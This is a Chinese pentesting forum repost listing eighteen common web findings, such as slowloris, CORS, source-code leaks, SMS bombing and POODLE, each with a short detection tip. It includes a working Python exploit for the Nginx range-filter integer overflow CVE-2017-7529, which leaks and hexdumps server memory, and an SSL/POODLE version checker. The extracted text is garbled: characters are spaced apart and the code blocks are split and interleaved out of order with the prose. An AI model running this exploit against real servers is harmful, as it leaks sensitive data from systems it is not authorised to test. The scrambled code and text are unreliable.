搜索

[20300] 2020-03-22_关于项目里面的硬核漏洞（找不到漏洞看这里）

文档创建者：s7ckTeam
浏览次数：111
最后更新：2025-01-18
2020-03-22_关于项目里面的硬核漏洞（找不到漏洞看这里） 关 于 项 目 里 面 的 硬 核 漏 洞 （ 找 不 到 漏 洞 看 这 里 ） 原 创   张 燃 子   K h a n 安 全 攻 防 实 验 室   2 0 2 0 - 0 3 - 2 2                 以 下 漏 洞 过 于 硬 核 又 比 较 相 对 容 易 挖 掘 ， 毕 竟 我 是 实 习 两 年 半 的 低 危 文 档 工 程 师 。 （ 可 能 写 的 不 太 全 ） 适 合 在 渗 透 里 面 没 有 找 到 漏 洞 ， 以 防 尴 尬 。 1 . 明 文 传 输 明 文 传 输                 一 段 未 经 过 任 何 加 密 的 数 据 挖 掘 技 巧 ：                 抓 取 登 录 口 数 据 包 查 看   2 . H T T P 慢 速 攻 击 慢 速 攻 击         缓 慢 的 h t t p 拒 绝 服 务 攻 击 是 一 种 专 门 针 对 于 W e b 的 应 用 层 拒 绝 服 务 攻 击 ， 攻 击 者 操 纵 网 络 上 的 肉 鸡 ， 对 目 标 W e b 服 务 器 进 行 海 量 h t t p   r e q u e s t 攻 击 ， 直 到 服 务 器 带 宽 被 打 满 ， 造 成 了 拒 绝 服 务 。 挖 掘 技 巧 ：         n m a p   - s V   - v v   - p 8 0   - - s c r i p t = h t t p - s l o w l o r i s - c h e c k 3 . 未 添 加 验 证 码 未 添 加 验 证 码           没 有 验 证 码 验 证 机 制 ， 导 致 可 以 爆 破 账 户 密 码 。 挖 掘 技 巧 ：           检 查 登 录 口 4 . 绝 对 路 径 泄 露 （ 版 本 泄 露 ） 绝 对 路 径 泄 露 （ 版 本 泄 露 ）           错 误 页 面 由 服 务 器 产 生 4 0 3 、 4 0 4 、 5 0 0 等 错 误 时 ， 返 回 详 细 错 误 信 息 。 报 错 信 息 中 可 能 会 包 含 服 务 器 代 码 信 息 、 数 据 库 连 接 信 息 、 S Q L 语 句 或 者 敏 感 文 件 的 路 径 ， 为 攻 击 者 收 集 信 息 提 供 了 方 便 。 挖 掘 技 巧 ：                
  5 . H t t p . s y s 远 程 代 码 执 行 远 程 代 码 执 行                     H T T P . s y s 是 M i c r o s o f t   W i n d o w s 处 理 H T T P 请 求 的 内 核 驱 动 程 序 ， 为 了 优 化 I I S 服 务 器 性 能 ， 从 I I S 6 . 0 引 入 ， I I S 服 务 进 程 依 赖 H T T P . s y s 。 H T T P . s y s 远 程 代 码 执 行 漏 洞 实 质 是 H T T P . s y s 的 整 数 溢 出 漏 洞 ， 当 攻 击 者 向 受 影 响 的 W i n d o w s 系 统 发 送 特 殊 设 计 的 H T T P   请 求 ， H T T P . s y s   未 正 确 分 析 时 就 会 导 致 此 漏 洞 ， 成 功 利 用 此 漏 洞 的 攻 击 者 可 以 在 系 统 帐 户 的 上 下 文 中 执 行 任 意 代 码 。 挖 掘 技 巧 ：                           B u r p 抓 包 / 扫 描 器 6 . i i s 6 缓 冲 区 溢 出 远 程 代 码 执 行 漏 洞 缓 冲 区 溢 出 远 程 代 码 执 行 漏 洞                 C V E - 2 0 1 7 - 7 2 6 9 是 I I S   6 . 0 中 存 在 的 一 个 栈 溢 出 漏 洞 ， 在 I I S 6 . 0 处 理 P R O P F I N D 指 令 的 时 候 ， 由 于 对 u r l 的 长 度 没 有 进 行 有 效 的 长 度 控 制 和 检 查 ， 导 致 执 行 m e m c p y 对 虚 拟 路 径 进 行 构 造 的 时 候 ， 引 发 栈 溢 出 ， 该 漏 洞 可 以 导 致 远 程 代 码 执 行 。 挖 掘 技 巧 ：                 扫 描 器   7 . T O M C A T 示 例 文 件 泄 露 示 例 文 件 泄 露             T o m c a t 默 认 存 在 一 个 管 理 后 台 ， 默 认 的 管 理 地 址 是 h t t p : / / I P 或 域 名 : 端 口 号 / m a n a g e r / h t m l 。 通 过 此 后 台 ， 可 以 在 不 重 启 T o m c a t 服 务 的 情 况 下 方 便 地 部 署 、 启 动 、 停 止 或 卸 载 W E B 应 用 。 但 是 ， 如 果 配 置 不 当 的 话 就 存 在 很 大 的 安 全 隐 患 。 攻 击 者 利 用 这 个 弱 点 可 以 非 常 快 速 、 轻 松 地 入 侵 一 台 服 务 器 ， 下 面 我 们 来 看 一 个 实 例 。   挖 掘 技 巧 ：                 访 问 / e x a m p l e s / s e r v l e t s / s e r v l e t / S e s s i o n E x a m p l e / d o c s / / e x a m p l e s / s e r v l e t s / i n d e x . h t m l / e x a m p l e s / j s p / i n d e x . h t m l s  
8 .   跨 站 请 求 追 踪 跨 站 请 求 追 踪           T R A C E 作 用 ： 客 户 端 发 起 一 个 请 求 时 ， 这 个 请 求 可 能 要 穿 过 防 火 墙 、 代 理 、 网 关 或 其 他 一 些 应 用 程 序 。 每 个 中 间 节 点 都 可 能 会 修 改 原 始 的   H T T P   请 求 。 T R A C E   方 法 允 许 客 户 端 在   最 终 将 请 求 发 送 给 服 务 器 时 ， 看 看 它 变 成 了 什 么 样 子 。 挖 掘 技 巧 ：           当 服 务 器 允 许 t r a c e 方 法 时 ， 就 可 能 存 在 跨 站 跟 踪 攻 击 。 跨 站 跟 踪 攻 击 即 C S T 攻 击 ， 是 一 种 利 用 X S S 和 H T T P   T R A C E 功 能 来 进 行 攻 击 的 方 式 。   9 .   源 码 泄 露 源 码 泄 露         / r o b o t s . t x t         / . g i t / c o n f i g           / . s v n / e n t r i e s         / . D S _ S t o r e   挖 掘 技 巧 ：           目 录 扫 描                   1 0 .   F l a s h 跨 域 访 问 跨 域 访 问 f l a s h 跨 域 通 信 ， 依 据 的 是 c r o s s d o m a i n . x m l 文 件 。 该 文 件 配 置 在 服 务 端 ， 一 般 为 根 目 录 下 ， 限 制 了 f l a s h 是 否 可 以 跨 域 获 取 数 据 以 及 允 许 从 什 么 地 方 跨 域 获 取 数 据 。   挖 掘 技 巧 ：
        访 问 c r o s s d o m a i n . x m l 1 1 .   j Q u e r y 版 本 过 低 版 本 过 低                   因 版 本 过 低 可 导 致 X S S 挖 掘 技 巧 ：                       找 到 j Q u e r y 文 件 1 2 .   H T T P 头 部 攻 击 头 部 攻 击                   对 H t t p 头 部 进 行 污 染 挖 掘 技 巧 ：                       修 改 数 据 包 1 3 .   跨 域 资 源 共 享 跨 域 资 源 共 享 ( C O R S )                   跨 域 资 源 共 享 ( C O R S )   是 一 种 机 制 ， 它 使 用 额 外 的   H T T P   头 来 告 诉 浏 览 器     让 运 行 在 一 个   o r i g i n   ( d o m a i n )   上 的 W e b 应 用 被 准 许 访 问 来 自 不 同 源 服 务 器 上 的 指 定 的 资 源 。 当 一 个 资 源 从 与 该 资 源 本 身 所 在 的 服 务 器 不 同 的 域 、 协 议 或 端 口 请 求 一 个 资 源 时 ， 资 源 会 发 起 一 个 跨 域   H T T P   请 求 。 挖 掘 技 巧 ：                       修 改 数 据 包 1 4 .   内 网 内 网 i p 泄 露 泄 露                 网 页 中 泄 露 内 网 i p 挖 掘 技 巧 ： < ! D O C T Y P E   h t m l > < h t m l > < h e a d > < s c r i p t   ) ; i m g . a t t r ( ' s r c ' , ' x x ' ) ; < / s c r i p t > < / b o d y > < / h t m l >
                      修 改 数 据 包 1 5 .   N g i n x 整 数 溢 出 漏 洞 整 数 溢 出 漏 洞 C V E - 2 0 1 7 - 7 5 2 9                 在 N g i n x 的 r a n g e   f i l t e r 中 存 在 整 数 溢 出 漏 洞 ， 可 以 通 过 带 有 特 殊 构 造 的 r a n g e 的 H T T P 头 的 恶 意 请 求 引 发 这 个 整 数 溢 出 漏 洞 ， 并 导 致 信 息 泄 露 。 挖 掘 技 巧 ： i m p o r t   u r l l i b . p a r s e ,   r e q u e s t s ,   a r g p a r s e g l o b a l   c o l o r a m a ,   t e r m c o l o r t r y :         i m p o r t   c o l o r a m a ,   t e r m c o l o r         c o l o r a m a . i n i t ( a u t o r e s e t = T r u e ) e x c e p t   E x c e p t i o n   a s   e :         t e r m c o l o r   =   c o l o r a m a   =   N o n e c o l o r e d   =   l a m b d a   t e x t ,   c o l o r = " " ,   d a r k = F a l s e :   t e r m c o l o r . c o l o r e d ( t e x t ,   c o l o r   o r   " w h i t e " ,   a t t r s = [ " d a r k " ]   i f   d a r k   e l s e   [ ] )   i f   t e r m c o l o r   a n d   c o l o r a m a   e l s e   t e x t c l a s s   E x p l o i t ( r e q u e s t s . S e s s i o n ) :         b u f f e r   =   s e t ( )         d e f   _ _ i n i t _ _ ( s e l f ,   u r l ) :                 l e n g t h   =   i n t ( r e q u e s t s . g e t ( u r l ) . h e a d e r s . g e t ( " C o n t e n t - L e n g t h " ,   0 ) )   +   6 2 3                 s u p e r ( ) . _ _ i n i t _ _ ( )                 s e l f . h e a d e r s   =   { " R a n g e " :   f " b y t e s = - { l e n g t h } , - 9 2 2 3 3 7 2 0 3 6 8 5 4 { 7 7 6 0 0 0   -   l e n g t h } " }                 s e l f . t a r g e t   =   u r l l i b . p a r s e . u r l s p l i t ( u r l )         d e f   c h e c k ( s e l f ) :                 t r y :                         r e s p o n s e   =   s e l f . g e t ( s e l f . t a r g e t . g e t u r l ( ) )                         r e t u r n   r e s p o n s e . s t a t u s _ c o d e   = =   2 0 6   a n d   " C o n t e n t - R a n g e "   i n   r e s p o n s e . t e x t                 e x c e p t   E x c e p t i o n   a s   e :                         r e t u r n   F a l s e         d e f   h e x d u m p ( s e l f ,   d a t a ) :                 f o r   b   i n   r a n g e ( 0 ,   l e n ( d a t a ) ,   1 6 ) :                         l i n e   =   [ c h a r   f o r   c h a r   i n   d a t a [ b :   b   +   1 6 ] ]                         p r i n t ( c o l o r e d ( "   -     { : 0 4 x } :   { : 4 8 }   { } " . f o r m a t ( b ,   "   " . j o i n ( f " { c h a r : 0 2 x } "   f o r   c h a r   i n   l i n e ) ,   " " . j o i n ( ( c h r ( c h a r )   i f   3 2   < =   c h a r   < =   1 2 6   e l s e   " . " )   f o r   c h a r   i n   l i n e ) ) ,   d a r k = T r u e ) )         d e f   e x e c u t e ( s e l f ) :                 v u l n e r a b l e   =   s e l f . c h e c k ( )                 p r i n t ( c o l o r e d ( f " [ { ' + '   i f   v u l n e r a b l e   e l s e   ' - ' } ]   { e x p l o i t . t a r g e t . n e t l o c }   i s   V u l n e r a b l e :   { s t r ( v u l n e r a b l e ) . u p p e r ( ) } " ,   " w h i t e "   i f   v u l n e r a b l e   e l s e   " y e l l o w " ) )                 i f   v u l n e r a b l e :                         d a t a   =   b " "                         w h i l e   l e n ( s e l f . b u f f e r )   <   0 x 8 0 :                                 t r y :                                         r e s p o n s e   =   s e l f . g e t ( s e l f . t a r g e t . g e t u r l ( ) )                                         f o r   l i n e   i n   r e s p o n s e . c o n t e n t . s p l i t ( b " r n " ) :                                                 i f   l i n e   n o t   i n   s e l f . b u f f e r :                                                         d a t a   + =   l i n e                                                         s e l f . b u f f e r . a d d ( l i n e )                                 e x c e p t   E x c e p t i o n   a s   e :                                         p r i n t ( )                                         p r i n t ( c o l o r e d ( f " [ ! ]   { t y p e ( e ) . _ _ n a m e _ _ } : " ,   " r e d " ) )                                         p r i n t ( c o l o r e d ( f "   -     { e } " ,   " r e d " ,   T r u e ) )                                         b r e a k                                 e x c e p t   K e y b o a r d I n t e r r u p t :                                         p r i n t ( )                                         p r i n t ( c o l o r e d ( " [ ! ]   K e y b o a r d   I n t e r r u p t e d !   ( C t r l + C   P r e s s e d ) " ,   " r e d " ) )                                         b r e a k                                 p r i n t ( c o l o r e d ( f " [ i ]   R e c e i v i n g   D a t a   [ { l e n ( d a t a ) }   b y t e s ]   . . . " ) ,   e n d   =   " r " )                         i f   d a t a :                                 p r i n t ( )                                 s e l f . h e x d u m p ( d a t a ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " :         p a r s e r   =   a r g p a r s e . A r g u m e n t P a r s e r ( p r o g   =   " C V E - 2 0 1 7 - 7 5 2 9 " ,                                                                           d e s c r i p t i o n   =   " N g i n x   v e r s i o n s   s i n c e   0 . 5 . 6   u p   t o   a n d   i n c l u d i n g   1 . 1 3 . 2   a r e   v u l n e r a b l e   t o   i n t e g e r   o v e r f l o w   v u l n e r a b i l i t y   i n   n g i n x   r a n g e   f i l t e r   m o d u l e   r e s u l t i n g   i n t o   l e a k   o f   p o t e n t i a l l y   s e n s i t i v e   i n f o r m a t i o n   t r i g g e r e d   b y   s p e c i a l l y   c r a f t e d   r e q u e s t . " ,                                                                           e p i l o g   =   " B y :   e n 0 f " )         p a r s e r . a d d _ a r g u m e n t ( " u r l " ,   t y p e   =   s t r ,   h e l p   =   " T a r g e t   U R L . " )         p a r s e r . a d d _ a r g u m e n t ( " - c " ,   " - - c h e c k " ,   a c t i o n   =   " s t o r e _ t r u e " ,   h e l p   =   " O n l y   c h e c k   i f   T a r g e t   i s   v u l n e r a b l e . " )         a r g s   =   p a r s e r . p a r s e _ a r g s ( )         t r y :
1 6 .   i i s 短 文 件 短 文 件         为 了 兼 容 1 6 位 M S - D O S 程 序 ， W i n d o w s 为 文 件 名 较 长 的 文 件 （ 文 件 夹 ） 生 成 了 对 应 的 w i n d o w s 8 . 3 短 文 件 名 。 挖 掘 技 巧 ：             现 有 工 具 1 7 .   短 信 炸 弹 短 信 炸 弹                 在 接 收 短 信 处 都 有 可 能 存 在 短 信 轰 炸 漏 洞 挖 掘 技 巧 ：                 重 复 发 送 数 据 包 1 8 .   S S L / t l s 1 . 0 贵 宾 犬 贵 宾 犬                 n m a p 扫 描 可 检 测 挖 掘 技 巧 ：         t r y :                 e x p l o i t   =   E x p l o i t ( a r g s . u r l )                 i f   a r g s . c h e c k :                         v u l n e r a b l e   =   e x p l o i t . c h e c k ( )                         p r i n t ( c o l o r e d ( f " [ { ' + '   i f   v u l n e r a b l e   e l s e   ' - ' } ]   { e x p l o i t . t a r g e t . n e t l o c }   i s   V u l n e r a b l e :   { s t r ( v u l n e r a b l e ) . u p p e r ( ) } " ,   " w h i t e "   i f   v u l n e r a b l e   e l s e   " y e l l o w " ) )                 e l s e :                         t r y :                                 e x p l o i t . e x e c u t e ( )                         e x c e p t   E x c e p t i o n   a s   e :                                 p r i n t ( c o l o r e d ( f " [ ! ]   { t y p e ( e ) . _ _ n a m e _ _ } : " ,   " r e d " ) )                                 p r i n t ( c o l o r e d ( f "   -     { e } " ,   " r e d " ,   T r u e ) )         e x c e p t   K e y b o a r d I n t e r r u p t :                 p r i n t ( c o l o r e d ( " [ ! ]   K e y b o a r d   I n t e r r u p t e d !   ( C t r l + C   P r e s s e d ) " ,   " r e d " ) )         e x c e p t   E x c e p t i o n   a s   e :                 p r i n t ( c o l o r e d ( f " [ ! ]   { u r l l i b . p a r s e . u r l s p l i t ( a r g s . u r l ) . n e t l o c } :   { t y p e ( e ) . _ _ n a m e _ _ } " ,   " r e d " ) ) i m p o r t   s s l , s o c k e t , s y s   S S L _ V E R S I O N = {         ' S S L v 2 ' : s s l . P R O T O C O L _ S S L v 2 ,         ' S S L v 3 ' : s s l . P R O T O C O L _ S S L v 3 ,         ' S S L v 2 3 ' : s s l . P R O T O C O L _ S S L v 2 3 ,         ' T L S v 1 ' : s s l . P R O T O C O L _ T L S v 1 , }   d e f   c h e c k _ s s l _ v e r s i o n ( v e r s i o n ) :         t r y :                 h t t p s   =   s s l . S S L S o c k e t ( s o c k e t . s o c k e t ( ) , s s l _ v e r s i o n = S S L _ V E R S I O N . g e t ( v e r s i o n ) )
手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。 手 握 日 月 摘 星 辰 ， 安 全 路 上 永 不 止 步 。                                                                                                       -   K h a n 攻 防 安 全 实 验 室 攻 防 安 全 实 验 室                 h t t p s   =   s s l . S S L S o c k e t ( s o c k e t . s o c k e t ( ) , s s l _ v e r s i o n = S S L _ V E R S I O N . g e t ( v e r s i o n ) )                 c   =   h t t p s . c o n n e c t ( ( i p , p o r t ) )                 p r i n t   v e r s i o n   +   '   S u p p o r t e d '                 r e t u r n   T r u e         e x c e p t   E x c e p t i o n   a s   e :                 r e t u r n   F a l s e   U S A G E   =   ' = = = = = = = = = = n K P o o d l e   -   S S L   v e r s i o n   a n d   p o o d l e   a t t a c k   v u l n e r a b i l i t y   d e t e c t   t o o l n = = = = = = = = = = n U s a g e :   p y t h o n   k p o o d l e . p y   t a r g e t   p o r t ( d e f a u l t : 4 4 3 ) n n b y   k i n g x ' t r y :         i p   =   s y s . a r g v [ 1 ] e x c e p t :         p r i n t   U S A G E         s y s . e x i t ( ) t r y :         p o r t   =   i n t ( s y s . a r g v [ 2 ] ) e x c e p t :         p o r t   =   4 4 3   t r y :         p r i n t   ' C o n n e c t i n g . . . '         s   =   s o c k e t . s o c k e t ( ) . c o n n e c t ( ( i p , p o r t ) ) e x c e p t   E x c e p t i o n   a s   e :         p r i n t   e         p r i n t   ' C a n   n o t   c o n n e c t   t o   t h e   t a r g e t ! '         s y s . e x i t ( )   t r y :         p r i n t   ' C h e c k i n g . . . '         s s l 3   =   c h e c k _ s s l _ v e r s i o n ( ' S S L v 3 ' )         s s l 2   =   c h e c k _ s s l _ v e r s i o n ( ' S S L v 2 ' )         s s l 2 3   =   c h e c k _ s s l _ v e r s i o n ( ' S S L v 2 3 ' )         t l s   =   c h e c k _ s s l _ v e r s i o n ( ' T L S v 1 ' )         i f   s s l 3 :                 p r i n t   ' n S S L v 3   P o o d l e   V u l n e r a b l e ! '         e l s e :                 p r i n t   ' n N o   S S L v 3   S u p p o r t ! ' e x c e p t   E x c e p t i o n   a s   e :         p r i n t   e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理